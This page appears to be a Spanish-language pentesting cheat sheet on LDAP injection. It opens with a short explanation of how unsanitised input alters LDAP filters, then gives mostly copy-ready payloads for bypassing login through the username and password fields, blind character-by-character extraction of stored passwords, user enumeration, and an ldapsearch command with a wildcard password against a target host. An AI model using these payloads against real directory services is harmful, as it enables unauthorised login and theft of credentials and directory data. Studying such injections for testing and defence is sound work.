ldap injection
LDAP Injection
Section titled “LDAP Injection”LDAP (Lightweight Directory Access Protocol) se usa para consultar directorios como Active Directory. Si el input del usuario se incorpora sin sanitización en una query LDAP, se puede manipular la lógica de autenticación o extraer datos del directorio.
Filtro LDAP normal:(&(uid=USUARIO)(userPassword=CONTRASEÑA))
Con inyección:(&(uid=admin)(*))(&(userPassword=x))→ El primer bloque devuelve todos los usuarios con uid=admin (condición * = todo)→ El segundo bloque se ignora por cierre anticipado→ Login bypassMetacaracteres LDAP
Section titled “Metacaracteres LDAP”* → wildcard, coincide con cualquier valor( → abre paréntesis) → cierra paréntesis\ → escapeNUL → carácter nulo (\x00)& → AND lógico| → OR lógico! → NOT lógicoBypass de autenticación LDAP
Section titled “Bypass de autenticación LDAP”# Si el filtro es: (&(uid=INPUT_USER)(userPassword=INPUT_PASS))
# Payload en username para bypass* # uid=* → cualquier usuarioadmin)(&) # (&(uid=admin)(&))(userPassword=x)) → siempre trueadmin)(%00 # null byte para truncar*)(&(uid=* # cierre y apertura de filtro*)(|(uid=* # OR que siempre es trueadmin)(uid=* # reemplazar condición
# Payload en password (cuando username es conocido)* # cualquier contraseña*)(& # truncar filtrox)(|(uid=* # OR bypassExtracción de datos (LDAP Blind)
Section titled “Extracción de datos (LDAP Blind)”# Inferir el valor de un atributo carácter a carácter# Si el filtro es: (&(uid=INPUT)(condicion))# Y la app devuelve resultado cuando el filtro coincide:
# ¿Empieza el password por 'a'?*)(userPassword=a*# ¿Empieza por 'ab'?*)(userPassword=ab*# Iterar hasta completar el valor
# Enumerar usuariosa*)(uid=* → coincide con usuarios cuyo uid empieza por 'a'*)(cn=admin* → buscar usuarios con cn que empiece por adminHerramientas
Section titled “Herramientas”# LDAP injection manual con ldapsearchldapsearch -x -H ldap://target.com -b "dc=empresa,dc=local" \ -D "uid=admin,ou=users,dc=empresa,dc=local" -w '*'
# Blind LDAP injection con scriptfor char in {a..z} {0..9}; do # Probar si el atributo empieza por $char # Medir tiempo o respuestadone